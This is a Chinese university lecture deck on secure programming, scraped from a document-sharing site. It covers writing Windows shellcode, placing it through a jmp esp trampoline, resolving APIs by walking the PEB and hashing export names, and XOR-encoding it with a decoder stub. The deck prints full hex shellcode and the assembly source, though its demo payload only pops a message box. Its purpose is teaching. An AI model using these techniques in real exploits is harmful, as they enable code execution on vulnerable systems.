05_CC++漏洞_Shellcode

上传人:sx****84 文档编号:243462538 上传时间:2024-09-23 格式:PPT 页数:76 大小:4.73MB
返回 下载 相关 举报
05_CC++漏洞_Shellcode_第1页
第1页 / 共76页
05_CC++漏洞_Shellcode_第2页
第2页 / 共76页
05_CC++漏洞_Shellcode_第3页
第3页 / 共76页
点击查看更多>>
资源描述
单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,安全性编程方法,1,第,5,讲,Shellcode,2,5.1 Shellcode 概述,5.1.1 shellcode,与,exploit,shellcode :,缓冲区溢出攻击中植入进程的代码,.,exploit :,代码植入的过程,也叫漏洞利用,.,exploit,的作用,:,淹没返回地址,劫持进程的控制权,之后跳转去执行,shellcode.,Shellcode,具有一定的通用性,.,Exploit,往往针对特定漏洞,.,3,利用VC+6.0制造ShellCode,三个步骤:,第一,首先利用VC+6.0写出实现自己想要的功能的代码,第二,利用VC+6.0的调试功能下断点并反汇编,得到上述代码的汇编指令。,第三,将汇编指令重新编译,再次利用VC+的调试功能,查看内存数据,获取最终的十六进制Shellcode代码。,4,第一步,运行,VC+6.0,,选择“文件”中的,”,新建”,建立一个,”C+ Source File”,,并将文件名设定为,”shellcode”,。,输入如下代码后,编译运行,结果如图所示。,#include ,void main(),MessageBoxA(NULL,NULL,NULL,0);,5,第二步,在代码,MessageBoxA,的位置按,F9,键下一个断点。,按,F5,键进行调试,程序会在断点处中断,按,Alt+8,进行反汇编,可看到,MessageBoxA,函数调用所对应的,5,行汇编指令。,按住,Alt,键选中这,5,行汇编指令,按,Ctrl+C,进行复制。,6,Shift+F5,结束调试,重新建立一个,”C+ Source File”,文件,取名为,”assemcode”,,输入如下代码,#include ,void main(),_asm/,这是,VC+,调用汇编指令的标识符,push 0,push 0,push 0,push 0,call dword ptr _imp_MessageBoxA16 (0042a2ac),7,按F7键进行编译,提示出错,如图所示,错误原因在于最后一行汇编指令,call dword ptr _imp_MessageBoxA16 (0042a2ac),这是个间接内存调用指令,即这条指令实际调用的指令地址应该是保存在,0042a2ac,地址中。所以应该将真正的地址取出来,再写入汇编指令中,(,这个地址就是,MessageBoxA,函数在操作系统中的地址,),8,重新打开,Shellcode,工程,还是在,MessageBoxA,一行下一个断点,然后按,F5,进行调试。,调试状态下会有个,”Memory”,窗口,意思是查看内存中数据的窗口,若没有这个窗口按,Alt+6,即可打开,在,”Memory”,地址一栏输入,”,0042a2ac,”,,回车。,可看到,”,0042a2ac,”,中保存的真实地址为“,75D9EA11”,9,修改”assemcode”的代码如下,运行,发现他同样弹出了错误对话框。,#include ,void main(),LoadLibrary(user32.dll);/MessageBoxA,函数在这个库文件中,_asm/,这是,VC+,调用汇编指令的标识符,push 0,push 0,push 0,push 0,mov eax,0x75D9EA11/,将,MessageBoxA,函数的地址保存在,eax,寄存器,call eax/,调用,MessageBoxA,函数,10,第三步,下面需要将汇编指令转换为对应的十六进制机器码。,在,call eax,行下断点,然后,F5,、,Alt+8,可以看到汇编指令的地址从,0040103C,到,0040104A,11,在,”Memory”,窗口输入,0040103C,,记录,从,0040103C,到,0040104A,对应的十六进制机器码,6A 00 6A 00 6A 00 6A,00 B8 11 EA D9 75 FF,D0,12,调用十六进制机器码,#include ,void main(),LoadLibrary(user32.dll);,char myshellcode=x6Ax00x6Ax00x6Ax00x6Ax00xB8x11xEAxD9x75xFFxD0;,void *p=,_asm,call p,13,5.2 定位Shellcode,4.4,的代码植入实验,使用越界的字符完全控制返回地址后,需要将返回地址改写成,shellcode,在内存中的起始地址。,在实际的漏洞利用过程中,由于动态链接库的装入和卸载等原因,,windows,进程的函数栈帧很有可能会产生“移位”,即,shellcode,在内存中的地址是会动态变化的,因此像,4.4,那样将返回地址简单地覆盖成一个定值的作法往往不能让,exploit,奏效。,14,15,因此必须想办法在程序运行时动态定位栈中的shellcode。,回顾4.4实验在verify_password函数返回后栈中的情况:,16,栈帧布局图,形参,:password,返回地址,前栈,帧,EBP,authenticated (0x00000001),buffer47 (ASCII: q q q null),buffer03 (ASCII: q q q q),17,18,绿色的线条体现了代码植入的流程:将返回地址淹没为手工查出的,shellcode,起始地址,0x0012FAF0,,函数返回时这个地址被弹入,EIP,寄存器,处理器按照,EIP,寄存器中的地址取指令,最后栈中的数据被处理器当成指令得以执行。,红色的线条则点出了这样一个细节:在函数返回的时候,,ESP,恰好指向栈帧中返回地址的后一个位置!,一般情况下,,ESP,寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,,ESP,所指的位置恰好是我们所淹没的返回地址的下一个位置。,19,20,由于,ESP,寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,可以使用上图所示的这种定位,shellcode,的方法来进行动态定位,:,用内存中任意一个,jmpesp,指令的地址覆盖函数返回地址,而不是原来用手工查出的,shellcode,起始地址直接覆盖,函数返回后被重定向去执行内存中的这条,jmpesp,指令,而不是直接开始执行,shellcode,由于,esp,在函数返回时仍指向栈区(函数返回地址之后),,jmpesp,指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。,重新布置,shellcode,。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把,shellcode,恰好摆放在函数返回地址之后。这样,jmpesp,指令执行过后会恰好跳进,shellcode,。,这种定位,shellcode,的方法使用进程空间里一条,jmpesp,指令做“跳板”,不论栈帧怎么“移位”,都能够精确的跳回栈区,从而适应程序运行中,shellcode,内存地址的动态变化。,21,把4.4中的password . txt文件改造成上述思路的exploit,并加入安全退出的代码避免点击消息框后程序的崩溃。,必须首先获得进程空间内一条jmpesp指令的地址作为“跳板”。,4.4中有漏洞的密码验证程序已经加载了user32 . dll,所以使用user32 . dll中的jmpesp指令做为跳板。,22,有两种方法获得跳转指令。,编程,通过,OllyDbg,的插件,23,/ jmp?esp,对应的机器码是,0xFFE4,/,从,user32.dll,在内存中的基地址开始向后搜索,0xFFE4,,并返回其内存地址(指针值),/#include stdafx.h,#include stdlib.h,#include ,#include ,void main (),BYTE *ptr;/typedef unsigned char BYTE;,int position, address ;,BOOL done_flag = FALSE ;,HINSTANCE handle = LoadLibrary (user32.dll);,if (! handle ),printf( load dll error! );,exit(0);,ptr = (BYTE *) handle ;,for ( position = 0 ; !done_flag ; position +),try,if ( ptr position = 0xFF & ptr position + 1 = 0xE4 ),/0xFFE4 is the opcode of jmp esp,int address = ( int ) ptr + position ;,printf ( OPCODE found at 0x%xn , address );,catch (.),int address = ( int ) ptr + position ;,printf ( END OF 0x%xn , address );,done_flag = true ;,24,除此以外,还可以通过OllyDbg的插件轻易的获得整个进程空间中的各类跳转地址。,下载插件OllyUni.dll,把它放在OllyDbg目录下的Plugins文件夹内,重新启动OllyDbg进行调试,将user32.dll拖动到ollydbg里,在代码框内单击右键,就可以使用这个插件了,如图:,25,26,在制作exploit的时候,还应当修复4.4中的shellcode无法正常退出的缺陷。,方法:在调用MessageBox之后,调用exit函数让程序退出。,27,仍然用,dependencywalker,获得这个函数的入口地址。,如图,,ExitProcess,是,kernel32 . dll,的导出函数,首先查出,kernel32 . dll,的加载基址:,0x7C800000,然后加上函数的偏移地址:,0x0001CDDA,得到函数入口最终的内存地址,0x7C81CDDA,。,28,29,写出的,shellcode,的源代码如下,:,#include stdafx.h,#include ,void main (),HINSTANCE LibHandle ;,char dllbuf 11 = user32.dll ;,LibHandle = LoadLibrary(dllbuf);,_asm ,sub sp , 0x440,xor ebx , ebx,push ebx / cut string,push 0x756F5965,push 0x766F4C49 /push ILOVEU,mov eax , esp /load address of failwest,push ebx,push eax,push eax,push ebx,mov eax , 0x77D507EA / address should be reset in different OS,call eax /call MessageboxA,push ebx,mov eax , 0x7C81CAFA,call eax /call exit(0),30,为了提取出汇编代码对应的机器码,我们将上述代码用VC6 .0 编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:,31,32,33,现在已经具备了制作新,exploit,需要的所有信息:,搜索到的,jmpesp,地址,即用作重定位,shellcode,的“跳板”:,0x77DC14CC,修改后并重新提取得到的,shellcode,:,34,35,运行结果(弹出对话框且不报错),36,5.3 缓冲区的组织,5.3.1,缓冲区的组成,进入缓冲区的数据,:,填充物,:,一般为,0x90 (NOP),淹没返回地址的数据,:,跳转指令的地址,Shellcode,起始地址,近似的,shellcode,地址,shellcode:,37,不同缓冲区的组织方式,38,shellcode,布置在返回地址之后的坏处,返回地址之后是前栈桢数据,而实用的shellcode往往需要几百个字节,这样大规模地破坏前栈桢数据有可能引发一些问题,39,shellcode布置在缓冲区内的好处,合理利用缓冲区,使攻击串的总长度减小,对程序破坏小,比较稳定.,40,5.3.2 抬高栈顶保护shellcode,shellcode布置在缓冲区内的坏处:,41,为了使shellcode具有较强的通用性,通常会在shellcode一开始就大范围抬高栈顶,把shellcode”藏”在栈内,从而达到自身保护的目的.,42,43,5.3.3 使用其他跳转指令,44,5.3.4 不使用跳转指令,45,5.3.5 函数返回地址移位,46,Strcat产生的漏洞,47,成功率只有1/4,48,5.4 开发通用的shellcode,5.4.1,定位,API,的原理,Windows API,是通过动态链接库中的导出函数来实现的,内存操作等函数,kernel32.dll,图形界面相关的,API-user32.dll,Win32,平台下的,shellcode,使用最广泛的方法,-,从进程控制块中找到动态链接库的导出表,并搜索出所需的,API,地址,然后逐一调用,.,所有的,Win32,程序都会加载,ntdll.dll,和,kernel32.dll,这两个最基础的动态链接库,.,49,定位kernel32.dll 中API地址的方法,通过段选择字,FS,在内存中找到当前的线程控制块,TEB,TEB,偏移位置为,0x30,处存放着指向进程控制块,PEB,的指针,.,PEB,偏移位置为,0x0C,的地方存放着指向,PEB_LDR_DATA,结构体的指针,其中,存放着已经被进程装载的动态链接库的信息,.,PEB_LDR_DATA,偏移位置为,0x1C,的地方存放着指向模块初始化链表的头指针,InInitializationOrderModuleList.,InInitializationOrderModuleList,中按顺序存放着,PE,装入运行时初始化模块的信息,第一个链表结点是,ntdll.dll,第二个链表结点是,kernel32.dll,找到,kernel32.dll,结点后,再偏移,0x08,就是,kernel32.dll,在内存中的加载基址,.,再偏移,0x3C,就是其,PE,头,.,再偏移,0x78,就存放着函数导出表的指针,.,50,在函数导出表中算出函数的入口地址,导出表偏移0x1C处的指针指向存储导出函数偏移地址(RVA)的列表。,导出表偏移0x20处的指针指向存储导出函数名的列表.,RAV和函数名按顺序存放. RAV加上动态链接库的加载基址,就得到API此刻在内存中的虚拟地址.,51,52,5.4.2 shellcode的加载与调试,shellcode的最常见形式就是用转义字符把机器码存在一个字符数组中.,例如,弹出消息框并能正常退出的程序的Shellcode可以存成这样的形式.,53,54,如下程序,改写教材P88(本章ppt22)的弹出消息框并正常退出的程序.,55,#include stdafx.h,#include ,char shellcode=,x66x81xECx40x04x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50x53xB8xEAx07xD5x77xFFxD0x53xB8xFAxCAx81x7CxFFxD0;,void main (),_asm ,lea eax, shellcode,push eax,ret,56,5.4.3,动态定位,API,地址的,shellcode,需要如下,API,函数,:,MessageBoxA,(,位于,user32.dll,中,用于弹出消息框,),ExitProcess,(,位于,kernel32.dll,中,用于正常退出程序,),LoadLibraryA,(,位于,kernel32.dll,中,在调用,MessageBoxA,之前,先用,LoadLibrary(“user32.dll”),装载其所属的动态链接库,.),57,为了让shellcode尽可能短,需要对API函数名进行hash运算,得到digest(摘要),虽然这需要引入额外的hash算法,但可以节省代码.,58,#include stdafx.h,#include ,#include ,DWORD GetHash(char *fun_name),DWORD digest=0;,while(*fun_name),digest=(digest7);/,循环右移,7,位,digest+= *fun_name ;,fun_name+;,return digest;,main(),DWORD hash;,hash= GetHash(MessageBoxA);,printf(result of hash is %.8xn,hash);,59,60,61,最终代码,#include stdafx.h,#include ,#include ,int main(),_asm,nop,nop,nop,nop,nop,CLD; clear flag DF,;store hash,push 0x1e380a6a;hash of MessageBoxA,push 0x4fd18963;hash of ExitProcess,push 0x0c917432;hash of LoadLibraryA,mov esi,esp; esi = addr of first function hash,lea edi,esi-0xc; edi = addr to start writing function,; make some stack space,xor ebx,ebx,mov bh, 0x04,sub esp, ebx,; push a pointer to user32 onto stack,mov bx, 0x3233 ; rest of ebx is null,push ebx,push 0x72657375,push esp,xor edx,edx,; find base addr of kernel32.dll,mov ebx, fs:edx + 0x30 ; ebx = address of PEB,mov ecx, ebx + 0x0c ; ecx = pointer to loader data,mov ecx, ecx + 0x1c ; ecx = first entry in initialisation order list,mov ecx, ecx ; ecx = second entry in list (kernel32.dll),mov ebp, ecx + 0x08 ; ebp = base address of kernel32.dll,find_lib_functions:,lodsd ; load next hash into al and increment esi,cmp eax, 0x1e380a6a; hash of MessageBoxA - trigger,; LoadLibrary(user32),jne find_functions,xchg eax, ebp ; save current hash,call edi - 0x8 ; LoadLibraryA,xchg eax, ebp ; restore current hash, and update ebp,; with base address of user32.dll,find_functions:,pushad ; preserve registers,mov eax, ebp + 0x3c; eax = start of PE header,mov ecx, ebp + eax + 0x78; ecx = relative offset of export table,add ecx, ebp ; ecx = absolute addr of export table,mov ebx, ecx + 0x20 ; ebx = relative offset of names table,add ebx, ebp ; ebx = absolute addr of names table,xor edi, edi ; edi will count through the functions,next_function_loop:,inc edi ; increment function counter,mov esi, ebx + edi * 4 ; esi = relative offset of current function name,add esi, ebp ; esi = absolute addr of current function name,cdq ; dl will hold hash (we know eax is small),hash_loop:,movsx eax, byte ptresi,cmp al,ah,jz compare_hash,ror edx,7,add edx,eax,inc esi,jmp hash_loop,compare_hash:,cmp edx, esp + 0x1c ; compare to the requested hash (saved on stack from pushad),jnz next_function_loop,mov ebx, ecx + 0x24 ; ebx = relative offset of ordinals table,add ebx, ebp ; ebx = absolute addr of ordinals table,mov di, ebx + 2 * edi ; di = ordinal number of matched function,mov ebx, ecx + 0x1c ; ebx = relative offset of address table,add ebx, ebp ; ebx = absolute addr of address table,add ebp, ebx + 4 * edi ; add to ebp (base addr of module) the,; relative offset of matched function,xchg eax, ebp ; move func addr into eax,pop edi ; edi is last onto stack in pushad,stosd ; write function addr to edi and increment edi,push edi,popad; restore registers,; loop until we reach end of last hash,cmp eax,0x1e380a6a,jne find_lib_functions,function_call:,xor ebx,ebx,push ebx/ cut string,push 0x74736577,push 0x6C696166/push failwest,mov eax,esp/load address of failwest,push ebx,push eax,push eax,push ebx,call edi - 0x04 ; /call MessageboxA,push ebx,call edi - 0x08 ; / call ExitProcess,nop,nop,nop,nop,62,16进制机器码如下,char popup_general=,xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C,x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53,x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B,x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95,xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59,x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A,xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75,xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03,x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB,x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50,x53xFFx57xFCx53xFFx57xF8;,63,#include stdafx.h,#include ,#include ,char popup_general=,xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C,x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53,x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B,x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95,xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59,x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A,xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75,xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03,x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB,x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50,x53xFFx57xFCx53xFFx57xF8;,void main (),_asm ,lea eax, popup_general,push eax,ret,64,5.5 shellcode编码技术,65,66,基于异或运算的编码器,#include stdafx.h,#include ,#include ,#include ,#include ,char popup_general=,xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C,x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53,x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B,x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95,xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59,x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A,xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75,xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03,x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB,x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50,x53xFFx57xFCx53xFFx57xF8x90;/shellcode should be ended with 0x90,67,void encoder (char* input, unsigned char key, int display_flag)/ bool display_flag,int i=0,len=0;,FILE * fp;,unsigned char * output;,len = strlen(input);,output=(unsigned char *)malloc(len+1);,if(!output),printf(memory erro!n);,exit(0);,68,/encode the shellcode,for(i=0;ilen;i+),outputi = inputikey;,if(!(fp=fopen(encode.txt,w+),printf(output erro);,exit(0);,fprintf(fp,);,for(i=0;ilen;i+),fprintf(fp,x%0.2x, outputi);,if(i+1)%16=0),fprintf(fp,n);,69,fprintf(fp,;);,fclose(fp);,printf(dump the encoded shellcode to encode.txt OK!n);,if(display_flag)/print to screen,for(i=0;ilen;i+),printf(%0.2x ,outputi);,if(i+1)%16=0),printf(n);,free(output);,void main(),encoder(popup_general,0x44 ,1);,70,运行后得到的shellcode,xb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30xd5x48,xcfxb0xc9x3axb0x77x9fxf3x40x6fxa7x22xffx77x76x17,x2cx31x37x21x36x10x77x96x20xcfx1ex74xcfx0fx48xcf,x0dx58xcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31x41xd1,xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89xcfx1d,x64x47x99x77xbbx03xcfx70xffx47xb1xddx4bxfax42x7e,x80x30x4cx85x8ex43x47x94x02xafxb5x7fx10x60x58x31,xa0xcfx1dx60x47x99x22xcfx78x3fxcfx1dx58x47x99x47,x68xffxd1x1bxefx13x25x79x2ex4ex7cx5ax31xedx77x9f,x17x2cx33x21x37x30x2cx22x25x2dx28xcfx80x17x14x14,x17xbbx13xb8x17xbbx13xbcxd4;,71,解码器 (不能直接运行),void main(),_asm,add eax, 0x14 /locate the real start of shellcode,xor ecx,ecx,decode_loop:,mov bl,eax+ecx,xor bl, 0x44 /key,should be changed to decode,mov eax+ecx,bl,inc ecx,cmp bl,0x90 / assume 0x90 as the end mark of shellcode,jne decode_loop,72,73,最终代码如下,#include stdafx.h,#include ,#include ,char final_sc_44=,x83xC0x14 /ADD EAX,14,x33xC9 /XOR ECX,ECX,x8Ax1Cx08 /MOV BL,BYTE PTR DS:EAX+ECX,x80xF3x44 /XOR BL,44 /notice 0x44 is taken as temp key to decode !,x88x1Cx08 /MOV BYTE PTR DS:EAX+ECX,BL,x41 /INC ECX,x80xFBx90 /CMP BL,90,x75xF1 /JNZ SHORT decoder.00401034,xb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30xd5x48,xcfxb0xc9x3axb0x77x9fxf3x40x6fxa7x22xffx77x76x17,x2cx31x37x21x36x10x77x96x20xcfx1ex74xcfx0fx48xcf,x0dx58xcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31x41xd1,xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89xcfx1d,x64x47x99x77xbbx03xcfx70xffx47xb1xddx4bxfax42x7e,x80x30x4cx85x8ex43x47x94x02xafxb5x7fx10x60x58x31,xa0xcfx1dx60x47x99x22xcfx78x3fxcfx1dx58x47x99x47,x68xffxd1x1bxefx13x25x79x2ex4ex7cx5ax31xedx77x9f,x17x2cx33x21x37x30x2cx22x25x2dx28xcfx80x17x14x14,x17xbbx13xb8x17xbbx13xbcxd4;,74,void main(),_asm,lea eax, final_sc_44,pusheax,ret,75,安全,编程,许晓华,pain past is pleasure,philiasophia,qq,.c,om,76,
展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 图纸专区 > 课件教案


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!